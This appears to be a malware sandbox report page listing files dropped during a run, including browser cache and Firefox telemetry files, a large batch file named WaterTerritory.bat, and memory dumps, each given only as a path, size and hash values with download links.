SHA256 d0e52a8888a0bc64ee51f24090e1bdbfab9cbffbbcdf8ccd5d7b0bc3002b3cfb
MD5 13efb683a3c3c52fb443c27bd44e5c69
SHA1 5e7a7414a9a1c9c25a9e77d8a0d24788f40fcd95
SHA512 535118590059db9e10f399a1fc8337768e3179d9dc12f484feca1dbafd7d2a195167202c8f12c127c491f5c36d1bf23355aa3188514e63bd7fe1ae0a15becd28
SSDEEP 3:LstlNllklkXldmwEa:LsX3lPkw
MD5 SHA1 SHA512 SSDEEP

Submit Download

000001.dbtmp

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Extension Rules\000001.dbtmp
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Extension Rules\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\GPUCache\index
Size 256KB
SHA256 9616b5542febf1832ff25af7a34e0bf2384b18f8810ef69b801e18e4e396ab0c
MD5 338cac007c31db6d8ea0ef2e24dc43c6
SHA1 902d4e3c574493c50edeee8f5f9b9859102a50c8
SHA512 3b07b5ef43b80439c4bde4adcc5a0268c454dec3aa9685902b614ae2605771188c460b4288e8ef36eb70b2c4c42a2dc4f176d11cd67c26471f474b9b0fc00202
SSDEEP 3:LstlNllklkXliTl:LsX3lP
MD5 SHA1 SHA512 SSDEEP

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Preferences
Size 2KB
SHA256 1fc550a3793cd28e520f9f33bcbb247e6a5ef4c8d22467cbfd747cd4b270de41
MD5 994478430ef127d5280f5f5ab92dd1aa
SHA1 0e77afc8c321fa5f533f29927b4ee7437babb362
SHA512 ad280504fc74d35909267eb85604554ebb4e342b5bfeb3015427527e897c9c583eec979981d26a32163ddf56d6229b458897dede064cf2e02851dceef4ca22b5
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Shared Dictionary\cache\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Default\Shared Dictionary\cache\index-dir\the-real-index
Size 48B
SHA256 90ed91d03d7db879cd42a47b8db968707bab933cdb3cd2b17f43c88e4ed9726b
MD5 a0684594682e5df4a41ccfb602ff0888
SHA1 b8eca4e0521ac46bdbd46332f3ab865567939978
SHA512 2595e01760f8348218db3c2a513eb6be061362af29f35b211ce7116ea07a3a5ee80e1bc188f0eb69391c1a182a569bc02a1e6662fe65f225f096043327d784fb
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\GrShaderCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\GrShaderCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\GrShaderCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\GrShaderCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\GrShaderCache\index
Size 256KB
SHA256 29ec76e723afd4fdf9c7e9c6e0dce8fb6ef71f48ba6431b5dbba7b78efb5195f
MD5 d8bfaa85e178cd73928fcc50f54fcdbc
SHA1 c7feab093dd17f9401f6a125053b9ba492f4e2c0
SHA512 c08dfb75c8ee1e11347e26e2e1865264e57e1197571b9d72e7661babc33a54f21b7d07cea9148de1588450f74c72b3a48e218e6ecb7ccc4c7498e6e48963f009
SSDEEP 3:LstlNllklkXlE:LsX3lP
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\GraphiteDawnCache\index
Size 256KB
SHA256 66c46bd5079db9c2d9631a1a3157c6111ab1e8edbd49ec2fbc47a2e82b979b6a
MD5 31cadf1f3ad5e3ab146d444f5a822e58
SHA1 ec4378a1c3c68db08b96fe3af854dfb08e2f2104
SHA512 9eadc2bd4ca3c7f7904e942fc77e57652d04ac078f42a08620702fd13d6308eb32fd059513b2e5fbbc6fb9c9547dcd3ef3f48699b8916f1c2f0bd4c75736bdcd
SSDEEP 3:LstlNllklkXl2l:LsX3lP2
MD5 SHA1 SHA512 SSDEEP

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Temp\a522jfst.pzx\Last Version
Size 13B
SHA256 7114eaf0a021d2eb098b1e9f56f3500dc4f74ac68a87f5256922e4a4b9fa66b7
MD5 a4710a30ca124ef24daf2c2462a1da92
SHA1 96958e2fe60d71e08ea922dfd5e69a50e38cc5db
SHA512 43878e3bc6479df9e4ebd11092be61a73ab5a1441cd0bc8755edd401d37032c44a7279bab477c01d563ab4fa5d8078c0ba163a9207383538e894e0a7ff5a3e15
MD5 SHA1 SHA512

Submit Download

store.json.mozlz4.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\crashes\store.json.mozlz4.tmp
Size 6KB
SHA256 9468afae23b45c5ef4e2655ca3419e7a403e72cda7c8fac1370be92a7383e104
MD5 401c1abf9477398415388c78fca7dcf7
SHA1 36fed60b520442a7e9b26e0b6aac60224766c2e1
SHA512 1ad08e3bfa1d618595a900a70760efb81ae3298aa4602698947c4b72038baac874700cbfd815195ecec91f7ab225922fce996203ec40b7ca3b298f48d813a95b
SSDEEP 192:F9dMLx6dk34uN2MWrSpWA3arh1dpSPDysNOalyU8SUoFvFEc:vyFMr7Amh1s8veFvb
MD5 SHA1 SHA512 SSDEEP

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 f48b69dfa5da8d6fa157d17874f72c5ca5743d1cce730335aa6b621f99174468
MD5 e16b924dff4c853237853e4e7d680e69
SHA1 edbb59581a09f098723643c96f55d837832f27b3
SHA512 e32f849d1a485abfc04b73e18d2be93ded7eba9ff3367ce7cda8f7ef752cbcb2cfbfad04fb9cff39f67b3618440ce2b2206ce16ef66d4ada8b73c0dbe68c385d
SSDEEP 192:8Ov5zboHrTZgWyjDAty1/66Joz0dzgCl6mSSdz:/bofZgWyjc8/66JozQzgC1bd
MD5 SHA1 SHA512 SSDEEP

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\db\data.safe.tmp
Size 4KB
SHA256 35ba7b9c20032e2df936349a4bad4cc8c49738937a326ee24df5cd2f7ebd851c
MD5 7862417371586e2e23d730eaf5fbf2f8
SHA1 146fc399217d65c498d1d08c6e1c485aac95cf99
SHA512 3635f0b4afc67ab9e3871b2573b0bca798e69e4ec1867745978e76e6b2903ccbab8aa76b331780a3defa64759e3d5de780a9bf08e54762a70f93286d96a9db84
SSDEEP 96:xSdF95/7bkW6QXVrciCQsmfzd/dFl66Joz0dzgClKtmSSd/UK:xOv5zboqos1/66Joz0dzgCl6mSSdz
MD5 SHA1 SHA512 SSDEEP

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 c70bc7459d89c35621ac0b4c6ca4ef463776d32c7e98c0b7d4fb8415a842fe1d
MD5 edf0242c60ebfe0ee0748e88e205c03e
SHA1 2deacb013f058164c885764b0537310d1684b51a
SHA512 619e0ea581fc3137dd91ac2a17b8c1d55023d3d30ddc3c1cd3b1c070ab53023eed47febe1dcd3fb1f2f2cb599b5111019ff6d1ece2c51678dc8fa81e6c30b710
SSDEEP 192:wy1/66Joz0dzgCl6mSSd6Ov5zbomTbgWyjDA4:w8/66JozQzgC1bLbombgWyjb
MD5 SHA1 SHA512 SSDEEP

Submit Download

0cbc5f4f-987c-482f-8b1c-97db1263950b

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\0cbc5f4f-987c-482f-8b1c-97db1263950b
Size 3KB
SHA256 8d27e7aededdead72dbd36e64b75c704923d1cddd1cb71a8b9465a6cbfd2866c
MD5 1789e4c0f28a2e2943a545ab659e1f7b
SHA1 07c20ffa585a7d88756783c8e7a5f518246ca7c0
SHA512 7f52125807a0c70cbffee75c521c02ae420c5aefd6b13e42743cc0708da826d80659f626e2e2e5e0396b9f4ca73731a45cfa37cbe67538f8dcd9e37664d4a4ed
MD5 SHA1 SHA512

Submit Download

18780782-bded-442e-a84b-68183ba31894

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\18780782-bded-442e-a84b-68183ba31894
Size 2KB
SHA256 398a27831b3fe818f7eb9d7a12f13457acca74b7a46fd5dc1be39ca7ab7e8092
MD5 4dc4437c0a9479f6cdb661ac9fe7f240
SHA1 4f132929568d014c37a99f43f3cfb6c42ccbbb77
SHA512 ea4d6e7491ab002464ae3fbf9264f5081ff5600d6c978e0c893ac7804a8ffe5247c48ff47b871494a51412c8620c55e55f73d3a620d32b83ff5c38a979582516
MD5 SHA1 SHA512

Submit Download

2750e545-72d8-4dfa-ae69-a2c5d0e7f4a2

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\2750e545-72d8-4dfa-ae69-a2c5d0e7f4a2
Size 883B
SHA256 5559176572ba911983ba0024768745f013069479053155331c45342cae1bf923
MD5 63f52b2324531b55657cf903b972561c
SHA1 4bbba06a2ef978ec8eb228ca7fbe98451bfa7fb5
SHA512 04fbfe4bcfdb4740674cb0f96576ba121a14fc6af5927688e7a2535f372b115aa1c7098f78078216517b327899dc66b5dea9edf6d54f790b4a035c908fc6582d
MD5 SHA1 SHA512

Submit Download

3149b35b-6302-4edb-8fbe-45db5bbeff40

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\3149b35b-6302-4edb-8fbe-45db5bbeff40
Size 896B
SHA256 a93e132b7bdd1e31157f08f47a2d5bd27f19c27137699a36a89f54e6012b70a8
MD5 6aa3a621f40f86bf24bea5a5d7e510a6
SHA1 83d845674ec699de0fc0f2862c9e88b5c3e71f45
SHA512 13394eabb92455643c2db98d9ea0d80034f83d4ff7fcfacf00a4a1faf27d2c907883f9bb9db2d84dcd9760ae2a62b52af009e85c74d275e12c607a40583295e1
MD5 SHA1 SHA512

Submit Download

4bf60077-5eb2-458d-83ab-b41dc57a7aed

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\4bf60077-5eb2-458d-83ab-b41dc57a7aed
Size 235B
SHA256 ec6a46e85155b4a15797c3450b18bd8152d13425b15f52c49444bac73bdbca8d
MD5 faec20cc9371c1266c39c84fa0e10c76
SHA1 12beb64f1a95abd8dbafe9b49dbbc6c2ad963ba1
SHA512 0d019595159f4283f8f81309d9a0817dc7df46a64e715931529cd84308cea8c732b37f4516b0d20043c55528f9920989979070f3cff31691a07e75f2290f6488
MD5 SHA1 SHA512

Submit Download

5ff93e7c-a5d4-44b2-91cc-594100607a08

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\5ff93e7c-a5d4-44b2-91cc-594100607a08
Size 16KB
SHA256 d4998f5aafd7be61de235d5db2c1c5892f08ed0dd3dfe1699733e37519026e82
MD5 c4cbf1fba4d6082f9b3ddc3ea91a6ddf
SHA1 2ee68462222324302289150eab8c6e68202b7402
SHA512 1f0826985e43edfaa1906dea16057f660a3134d9b66c3905d8ac3b62603c91819c3cbc9a8cd3e29270600d4f190e9d8a8cb437b37f97f3951888b7a1b6bc5c04
SSDEEP 384:9fy53Vyup/DfdEGW2KQFvDWLgSlRifDwB:Jy7p/D1E4ZVKX
MD5 SHA1 SHA512 SSDEEP

Submit Download

723a2acb-50eb-4f60-ad24-762d283a4009

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\723a2acb-50eb-4f60-ad24-762d283a4009
Size 3KB
SHA256 47bead7dea5e963905166d4463f7be47275b21ecc1f1614f8c05e83bce78f2b1
MD5 af7694e442ba0e6e122ffd1cb11c7232
SHA1 70972f90b2d45259cc892d3741826d8343ab7928
SHA512 84801371213c6bf68542ad859575ab2499b702a019606bce5d7fb2e200216152e72a742e044816eb206d13300f85a3d4e535e38e681733b22e75c496f960579a
MD5 SHA1 SHA512

Submit Download

79fff68a-4ba2-443b-a807-b5614237b0c9

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\79fff68a-4ba2-443b-a807-b5614237b0c9
Size 3KB
SHA256 f1fcb383a402e0cb0929c593ca6e9a0017aac4e0b2294f0b522721c6bae0bc69
MD5 9e24cd5150035e6e995f27faf72778d6
SHA1 fbbf810733034984322311eab55333945730b916
SHA512 877739ad8c4e92eff68890edb1fc240391d30f048ee533eee7f4b24f160462d095bd1454ef15df2d21322a37a15114b97a938163236ef0b8e19b1eb5cf40da78
MD5 SHA1 SHA512

Submit Download

9f5957d3-3a44-4d1f-88a6-97f39324893b

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\9f5957d3-3a44-4d1f-88a6-97f39324893b
Size 3KB
SHA256 27e42e9c65ede9ada3acc0958af2550c06c43ccc21f4bac1e07270dbebb4e35f
MD5 ac87e3f309b9a48233eba731c55b3619
SHA1 a31b22fb2468efd7818a9688af5f051030bb6b04
SHA512 c9f4e4ce4ab7b344c8aa69094555f93f3eef16399ab36012dba6cbaa7d1eab9ad17dc34d1d5aa10f67c8edd4c46d51fc1832dbd05f6f604f727b424fcf020a5e
MD5 SHA1 SHA512

Submit Download

c6b94cdd-5d5f-4ed5-87ad-420bc5a815f6

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\c6b94cdd-5d5f-4ed5-87ad-420bc5a815f6
Size 235B
SHA256 a0385e557fbcde2f4582492dca06ddc8e4fc5a9c491c498ac8d5fd7345d6bd1e
MD5 44ad6f22ed0f8b6be1cb38fae499a368
SHA1 5f608550bef985f627352bd00b86a2dbd985c31f
SHA512 152dbd718d2e991b0296632fda364a762f6ec6170096bb6b59c28dce3b0951222cb8324f9f8c10c1c608a57b83645b7b00dc9dd46f72cd988ae7240355ddb71f
MD5 SHA1 SHA512

Submit Download

cc5a9c53-cff7-4f86-bc93-c74673ab4da0

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\datareporting\glean\pending_pings\cc5a9c53-cff7-4f86-bc93-c74673ab4da0
Size 3KB
SHA256 1f90b9b518c00696c1c9c8d99ba87bddfb663af0de15ced74d6b3fc2d12eaf1a
MD5 0c81863b436fed55f6dc80116011e355
SHA1 7bead344ab3c4cbe17f7e31b8a5a46dc9a85c49c
SHA512 779fefdfe7116ebf8fb748f78c3a8de4034a7efdd98e16521da5aa464a7e5bef2714cae3b635eeb808688847ce7849ea438bc77b4a006e9fe0c24fbdec29e12c
MD5 SHA1 SHA512

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\prefs-1.js
Size 6KB
SHA256 6bd3662cf5bcfbd6d2ec28bd35aa1b201c35315ea802c637c63c3d86fdf69acf
MD5 b3aad99bdad654a69b21bde8c81a8472
SHA1 fa1dd391531e8877fafa1b4d2df8f0ced80ab85f
SHA512 b6e33b16842d1b42881de600e202c6f705988a8315228da647fc9a8742ef80490c9e47cc798bf8443654b0fe602fb293702028a83865e573f338337e8250fea1
SSDEEP 96:xHAUTUaqGq7fnK3nu1zSAlSSlhdv9jXHnARHYOBw88H8L4cnt1Ax:idR7fnMuVlSSLg95Bw88bx
MD5 SHA1 SHA512 SSDEEP

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y33j7wmm.default-release\prefs.js
Size 6KB
SHA256 d4e6f17e3466b2c6b0ad1578fb7878597cbd5a37e824099f39ae1a76e528c358
MD5 9ca6c33425a5d67641913ad51769eb6a
SHA1 c50d6cb0fb90e67532ef6205d0532b5940ba1fe5
SHA512 b991f00839f65678699d9da860261fe56d1060355945124452ca01400713e6f90c37e765dc82457a7c7cbf7ea7b324d69ab028c7e1d15546ee6e9c16ecc989a3
SSDEEP 96:xHAUTUaqGq7fnKLnu1zSRSSlhdv9jbnARHYOBw88H8L4cnt1Ax:idR7fn0u0SSY95Bw88bx
MD5 SHA1 SHA512 SSDEEP

Submit Download

WaterTerritory.bat

Path C:\Users\Public\WaterTerritory.bat
Size 935KB
SHA256 d780aab295caca7b0b636aea2260f02413dae4fb20ee8c279b01789c0896ba27
MD5 daeffaac73a730f0854b84346eb96f35
SHA1 b953256fbcc82b2ac3cf2f7fe5f5a17c5f36fc58
SHA512 17cc0435802790a48673fdae178a12a84d20eb38681579741d63a907b98fc1d7930ba919a696f82d453cdae04edd2c6998d6b36a13094c48c643ea638c443133
SSDEEP 12288:nDRTWienWSpd0OqqNwdbuC8NRx0ZVPCT/almpRUNiElurCq0U09Acagmkf/3mdQW:nkn5xNpPiZVPm/aw3OrU09AAL25
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1436-10-0x000001F86BD60000-0x000001F86BD82000-memory.dmp

Download

memory/1436-24-0x000001F86D3A0000-0x000001F86D8C8000-memory.dmp

Download

memory/1436-231-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-236-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-805-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-804-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-4-0x000001F86B9EA000-0x000001F86B9EB000-memory.dmp

Download

memory/1436-153-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-12-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-23-0x000001F86C3B0000-0x000001F86C400000-memory.dmp

Download

memory/1436-13-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-14-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-16-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-17-0x000001F86BDD0000-0x000001F86BDD8000-memory.dmp

Download

memory/1436-25-0x000001F86BE90000-0x000001F86BEAE000-memory.dmp

Download

memory/1436-212-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-18-0x000001F86C2D0000-0x000001F86C362000-memory.dmp

Download

memory/1436-19-0x000001F86C560000-0x000001F86C61E000-memory.dmp

Download

memory/1436-20-0x000001F86CA20000-0x000001F86CAD2000-memory.dmp

Download

memory/1436-21-0x000001F86CCA0000-0x000001F86CE62000-memory.dmp

Download

memory/1436-22-0x000001F86CAD0000-0x000001F86CB46000-memory.dmp

Download

memory/1436-791-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-795-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-796-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-797-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-798-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-799-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-801-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/1436-802-0x000001F86B220000-0x000001F86BCE2000-memory.dmp

Download

memory/3916-150-0x0000025830BA0000-0x0000025830C5E000-memory.dmp

Download

memory/5636-207-0x000001264F240000-0x000001264F2FE000-memory.dmp

Download